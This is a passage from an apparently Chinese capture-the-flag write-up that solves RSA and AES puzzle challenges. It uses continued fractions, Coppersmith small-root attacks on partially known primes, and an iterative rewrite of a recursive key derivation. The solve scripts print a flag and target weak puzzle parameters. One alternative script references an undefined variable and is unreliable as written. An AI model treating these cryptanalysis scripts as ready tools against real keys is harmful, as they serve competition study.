eq1= p-q ==p_q
eq2= p*q ==n
sol = solve([eq1,eq2], p, q)
print(sol)


p = 89050782851818876669770322556796705712770640993210984822169118425068336611139
q = 31366133449465349655535843217834713141354178841659172525867412449648339136903
phi = (q-1) * (p-1)
d = gmpy2.invert(e,phi)
m = gmpy2.powmod(c,d,n)-data2
print(m)
print(long_to_bytes(m))
 

脚本2:

 

 

data3 = 1.42870767357206600351348423521722279489230609801270854618388981989800006431663026299563973511233193052826781891445323183272867949279044062899046090636843802841647378505716932999588
 
c = continued_fraction(data3)
alist = c.convergents()
 
for i in alist:
    a = str(i).split('/')
    if len(a)>1 and gcd(int(a[0]),int(a[1])) == 1 and is_prime(int(a[0])) and is_prime(int(a[1])) and int(a[0]).bit_length()==256 and int(a[1]).bit_length()==256:
        print(a)
        break
 
data1 = int(a[0])
data2 = int(a[1])
 
c = 1046004343125860480395943301139616023280829254329678654725863063418699889673392326217271296276757045957276728032702540618505554297509654550216963442542837
n = 2793178738709511429126579729911044441751735205348276931463015018726535495726108249975831474632698367036712812378242422538856745788208640706670735195762517
leak = 1788304673303043190942544050868817075702755835824147546758319150900404422381464556691646064734057970741082481134856415792519944511689269134494804602878628
 
tmp = leak % data1
paq = sqrt(tmp**2 + 4*n)
phi = n - paq + 1
 
d = inverse_mod(65537, phi)
m = pow(c, d, n)
print(int(m - data2).to_bytes(50,'big'))
3mkwivwfjnq13809.jpg SYC{a00338c150aa3a5163dbf404100e6754}


 

2.crazyTreat

关键在于构建关于m的多项式

$$P=m^p \pmod {p*q*r} \\
Q=m^q \pmod {p*q*r} \\
R=m^R \pmod {p*q*r} \\
 
费马小定理:\\
m^p=m \pmod p \\
P=m+k1*p+k2*pqr=m+k3*p \\
Q,R同理 \\\qquad\text{(1)}$$

即:

$$P=m+k3*p\\
Q=m+k4*q\\
R=m+k5*r\\

且:

k_3p=P-M,k_4q=Q-m,k_5r=R-m\\

所以:

P*Q*R-m^3-m*(P-m)*(Q-m)-m^2*((P-m)+(Q-m))-(R-m)*m^2-m*((P-m)+(Q-m))*(R-m)\equiv 0 \pmod n\qquad\text{(2)}$$
 
脚本1:
from Crypto.Util.number import *
import gmpy2
#coppersmith
clown = 128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209
trick = 13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464455212126838976863742628716168391373019631629866746550551576576


n = clown
p = trick


pbits = 512
kbits = 220
p=p>>kbits<<kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p
x0 = f.small_roots(X=2^kbits, beta=0.4)
p=p+int(x0[0])
print(p)


#构建关于m的多项式求解即可,m即为r
n = 924936528644761261915490226270682878749572154775391302241867565751616615723850084742168094776229761548826664906020127037598880909798055174894996273670320006942669796769794827782190025101253693980249267932225152093301291975335342891074711919668098647971235568200490825183676601392038486178409517985098598981313504275523679007669267428032655295176395420598988902864122270470643591017567271923728446920345242491655440745259071163984046349191793076143578695363467259
P = 569152976869063146023072907832518894975041333927991456910198999345700391220835009080679006115013808845384796762879536272124713177039235766835540634080670611913370463720348843789609330086898067623866793724806787825941048552075917807777474750280276411568158631295041513060119750713892787573668959642318994049493233526305607509996778047209856407800405714104373282610244944206314614906974275396096712817649817035559000245832673082730407216670764400076473183825246052
Q = 600870923560313304359037202752076267074889238956345564584928427345594724253036201151726541881494799597966727749590645445697106549304014936202421316051605075583257261728145977582815350958084624689934980044727977015857381612608005101395808233778123605070134652480191762937123526142746130586645592869974342105683948971928881939489687280641660044194168473162316423173595720804934988042177232172212359550196783303829050288001473419477265817928976860640234279193511499
R = 502270534450244040624190876542726461324819207575774341876202226485302007962848054723546499916482657212105671666772860609835378197021454344356764800459114299720311023006792483917490176845781998844884874288253284234081278890537021944687301051482181456494678641606747907823086751080399593576505166871905600539035162902145778102290387464751040045505938896117306913887015838631862800918222056118527252590990688099219298296427609455224159445193596547855684004680284030


PR.<m> = PolynomialRing(Zmod(n))
f = P*Q*R-m*m*m-m*(P-m)*(Q-m)-m*m*((P-m)+(Q-m))-(R-m)*m*m-m*((P-m)+(Q-m))*(R-m)
f = f.monic()
m = f.small_roots(X=2^280, beta=0.4)
print(m)


r=m


#直接解密即可
r=105960538296223496551922954965164644267919720177702173352061963871195469608683
p=13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464531559991042565319610790540616696456104018890243275374098291711
c = 10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949
e = 65537
n=p*r
phi = (r-1) * (p-1)
d = gmpy2.invert(e,phi)
m = gmpy2.powmod(c,d,n)
print(m)
print(long_to_bytes(m))

 

 

首先已知高位攻击,由于flag没填充,直接就可以出了。不需要解第三个素数了

脚本2:

c=10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949

clown =  128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209

trick =  13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464455212126838976863742628716168391373019631629866746550551576576

'''

len_bin=len(bin(trick)[2:])

high='11111001001110111100110011111101010101010101000011001011000101010010000100011011110111000011000101101111000110110001010111001101111110111100000111110011111001010100101001110111010001011011100111000100100000110101111101010011010001101111101001111111000111011001010101100000011110000100100010010010011100101'

high_len=len(high)

low_len=512-high_len

PR.<x> = PolynomialRing(Zmod(clown))

f = int(high,2)*2^low_len +x

x0 = f.small_roots(X=2^low_len, beta=0.4)[0]

#76347864203588455868161824448305083084387260376528823546715135

p=int(high,2)*2^low_len +x0

print(p)

'''

p=13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464531559991042565319610790540616696456104018890243275374098291711

q=clown//p

phi=(p-1)*(q-1)

from Crypto.Util.number import *

d=inverse(65537,phi)

print(long_to_bytes(pow(c,d,clown)))

 

脚本3:

 

clown =  128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209
trick =  13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464455212126838976863742628716168391373019631629866746550551576576

n = 924936528644761261915490226270682878749572154775391302241867565751616615723850084742168094776229761548826664906020127037598880909798055174894996273670320006942669796769794827782190025101253693980249267932225152093301291975335342891074711919668098647971235568200490825183676601392038486178409517985098598981313504275523679007669267428032655295176395420598988902864122270470643591017567271923728446920345242491655440745259071163984046349191793076143578695363467259
P = 569152976869063146023072907832518894975041333927991456910198999345700391220835009080679006115013808845384796762879536272124713177039235766835540634080670611913370463720348843789609330086898067623866793724806787825941048552075917807777474750280276411568158631295041513060119750713892787573668959642318994049493233526305607509996778047209856407800405714104373282610244944206314614906974275396096712817649817035559000245832673082730407216670764400076473183825246052
Q = 600870923560313304359037202752076267074889238956345564584928427345594724253036201151726541881494799597966727749590645445697106549304014936202421316051605075583257261728145977582815350958084624689934980044727977015857381612608005101395808233778123605070134652480191762937123526142746130586645592869974342105683948971928881939489687280641660044194168473162316423173595720804934988042177232172212359550196783303829050288001473419477265817928976860640234279193511499
R = 502270534450244040624190876542726461324819207575774341876202226485302007962848054723546499916482657212105671666772860609835378197021454344356764800459114299720311023006792483917490176845781998844884874288253284234081278890537021944687301051482181456494678641606747907823086751080399593576505166871905600539035162902145778102290387464751040045505938896117306913887015838631862800918222056118527252590990688099219298296427609455224159445193596547855684004680284030

c =  10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949

PR.<x>=Zmod(clown)[]
f=trick+x
for cut in range(1,256):
    r=f.small_roots(X=2^cut,beta=0.4)
    if r:
        r=a[0]
        break

p=GCD(ZZ(f(r)),clown)
q=clown//p

PR.<x>=Zmod(n)[]
f=(P-x)*(Q-x)*(R-x)
f=f.monic()
m=ZZ(f.small_roots(X=2^256)[0])

N =p*q*m
phi = (p-1)*(q-1)*(m-1)
e = 65537
d = inverse_mod(e,phi)
m = pow(c,d,N)
from Crypto.Util.number import *
print(long_to_bytes(ZZ(m)))

 

 

3.Alexei needs help

将迭代改为循环即可

 

from random import randint

import gmpy2 as gp

from Crypto.Util.number import *

from Crypto.Cipher import AES

from hashlib import md5

from binascii import *

 

from tqdm import tqdm

 

a =  12760960185046114319373228302773710922517145043260117201359198182268919830481221094839217650474599663154368235126389153552714679678111020813518413419360215

b =  10117047970182219839870108944868089481578053385699469522500764052432603914922633010879926901213308115011559044643704414828518671345427553143525049573118673

m =  9088893209826896798482468360055954173455488051415730079879005756781031305351828789190798690556659137238815575046440957403444877123534779101093800357633817

seq =  [1588310287911121355041550418963977300431302853564488171559751334517653272107112155026823633337984299690660859399029380656951654033985636188802999069377064, 12201509401878255828464211106789096838991992385927387264891565300242745135291213238739979123473041322233985445125107691952543666330443810838167430143985860, 13376619124234470764612052954603198949430905457204165522422292371804501727674375468020101015195335437331689076325941077198426485127257539411369390533686339, 8963913870279026075472139673602507483490793452241693352240197914901107612381260534267649905715779887141315806523664366582632024200686272718817269720952005, 5845978735386799769835726908627375251246062617622967713843994083155787250786439545090925107952986366593934283981034147414438049040549092914282747883231052, 9415622412708314171894809425735959412573511070691940566563162947924893407832253049839851437576026604329005326363729310031275288755753545446611757793959050, 6073533057239906776821297586403415495053103690212026150115846770514859699981321449095801626405567742342670271634464614212515703417972317752161774065534410, 3437702861547590735844267250176519238293383000249830711901455900567420289208826126751013809630895097787153707874423814381309133723519107897969128258847626, 2014101658279165374487095121575610079891727865185371304620610778986379382402770631536432571479533106528757155632259040939977258173977096891411022595638738, 10762035186018188690203027733533410308197454736009656743236110996156272237959821985939293563176878272006006744403478220545074555281019946284069071498694967]

ct = 0x37dc072bdf4cdc7e9753914c20cbf0b55c20f03249bacf37c88f66b10b72e6e678940eecdb4c0be8466f68fdcd13bd81

 

n = 2023

 

def seqsum(i):

    ans = 0

    for j in range(len(seq)):

        ans += gp.powmod(i, j, m) * seq[j]

    return ans

 

 

def home1work(n):

    if n == 1:

        return 1

    elif n == 2:

        return 1

    else:

        previous, current = 1, 1

        for i in tqdm(range(3, n + 1)):

            previous, current = current, (a * current + b * previous + seqsum(i)) % m

        return current

 

ans = home1work(n)

 

k = unhexlify(md5(str(ans).encode()).hexdigest())

aes = AES.new(k, AES.MODE_ECB)

#data = flag + (16 - len(flag) % 16) * b"\x00"

data=long_to_bytes(ct)

ct = aes.decrypt(data)

print(ct)

#b"c7ceedc7197a0d350025fff478f667293ebbaa6b'\x00\x00\x00\x00\x00\x00\x00"

 

或者脚本:

memo = {}

import sys

 

sys.setrecursionlimit(100000)  

import gmpy2 as gp

 

a = 12760960185046114319373228302773710922517145043260117201359198182268919830481221094839217650474599663154368235126389153552714679678111020813518413419360215

b = 10117047970182219839870108944868089481578053385699469522500764052432603914922633010879926901213308115011559044643704414828518671345427553143525049573118673

m = 9088893209826896798482468360055954173455488051415730079879005756781031305351828789190798690556659137238815575046440957403444877123534779101093800357633817

seq = [

    1588310287911121355041550418963977300431302853564488171559751334517653272107112155026823633337984299690660859399029380656951654033985636188802999069377064,

    12201509401878255828464211106789096838991992385927387264891565300242745135291213238739979123473041322233985445125107691952543666330443810838167430143985860,

    13376619124234470764612052954603198949430905457204165522422292371804501727674375468020101015195335437331689076325941077198426485127257539411369390533686339,

    8963913870279026075472139673602507483490793452241693352240197914901107612381260534267649905715779887141315806523664366582632024200686272718817269720952005,

    5845978735386799769835726908627375251246062617622967713843994083155787250786439545090925107952986366593934283981034147414438049040549092914282747883231052,

    9415622412708314171894809425735959412573511070691940566563162947924893407832253049839851437576026604329005326363729310031275288755753545446611757793959050,

    6073533057239906776821297586403415495053103690212026150115846770514859699981321449095801626405567742342670271634464614212515703417972317752161774065534410,

    3437702861547590735844267250176519238293383000249830711901455900567420289208826126751013809630895097787153707874423814381309133723519107897969128258847626,

    2014101658279165374487095121575610079891727865185371304620610778986379382402770631536432571479533106528757155632259040939977258173977096891411022595638738,

    10762035186018188690203027733533410308197454736009656743236110996156272237959821985939293563176878272006006744403478220545074555281019946284069071498694967]

n = 2023

 

 

def seqsum(i):

    if i in memo:

        return memo[i]

 

    ans = 0

    for j in range(len(seq)):

        ans += gp.powmod(i, j, m) * seq[j]

 

    memo[i] = ans

    return ans

 

 

def homework(i):

    if i in memo:

        return memo[i]

 

    if i == 1:

        result = 1

    elif i == 2:

        result = 1

    else:

        result = (a * homework(i - 1) + b * homework(i - 2) + seqsum(i)) % m

 

    memo[i] = result

    return result

 

 

result = homework(2023)

ct = '37dc072bdf4cdc7e9753914c20cbf0b55c20f03249bacf37c88f66b10b72e6e678940eecdb4c0be8466f68fdcd13bd81'

from Crypto.Cipher import AES

from binascii import *

from hashlib import *

 

k = unhexlify(md5(str(result).encode()).hexdigest())

aes = AES.new(k, AES.MODE_ECB)

aes = AES.new(key=k, mode=AES.MODE_ECB)

 

print(aes.decrypt(unhexlify(ct)))

 

 

 

 

题目附件:链接:https://pan.baidu.com/s/1DWfylZ-VV9zKgiOHiGj8tw   提取码:kdfw 

 

 

 

 

参考文章

https://mp.weixin.qq.com/s/azbY19cBgs3MgVdo7i-OhQ

https://blog.csdn.net/jyttttttt/article/details/131146160

https://www.cnblogs.com/Aann/p/17473430.html

https://mp.weixin.qq.com/s/O8RXt7lOift-pgIiTJJY2g

https://mp.weixin.qq.com/s/azbY19cBgs3MgVdo7i-OhQ

https://mp.weixin.qq.com/s/ghQQ59c-K9C1VADVW-eVZQ

 https://mp.weixin.qq.com/s/Gi3dQ3mDs3mZCRGtT4l_dg